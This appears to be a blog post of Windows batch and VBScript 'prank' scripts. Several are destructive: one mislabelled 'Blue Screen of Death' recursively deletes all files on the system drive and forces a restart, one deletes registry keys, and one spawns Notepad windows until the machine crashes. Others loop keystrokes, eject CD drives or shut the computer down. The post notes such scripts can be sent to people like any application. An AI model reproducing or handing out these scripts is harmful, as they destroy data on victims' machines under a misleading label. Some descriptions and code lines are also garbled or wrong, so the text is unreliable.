Advanced Tricks of Notepad

Blue Screen of Death [this might be dangerous]

The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be careful and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install your windows again.

CODE :

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Stupidity ShutDown

This pops up a funny message then will shutdown the computer.
CODE :

@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c "Error! You are too stupid!" -s -t 10

Delete Key Registry Files [this is dangerous]

This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)
CODE :

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE ECHO Your computer has been fcked.
Have a nice day. GOTO MESSAGE

---

Also Read - Make Keyboard to Type Automatically

---

Endless Notepads

This will pop up endless notepads until the computer freezes and crashes.
CODE :

@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top

Crazy Caps Lock

This constantly turns caps lock on and off really fast continuously.
CODE :

Set wshShell =wscript.CreateObject ("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Endless Enter

This constantly makes it so the enter button is being pressed continuously.
CODE :

Set wshShell = wscript.CreateObject ("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

---

Also Read - Make your Computer "Welcome You"

---

Endless Backspace

This makes it so the backspace key is constantly being pressed.
CODE :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject ("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Popping CD Drives

This will make the CD drives constantly pop out.
CODE :

Set oWMP = CreateObject ("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

Note - Use these codes at your "OWN" Risk.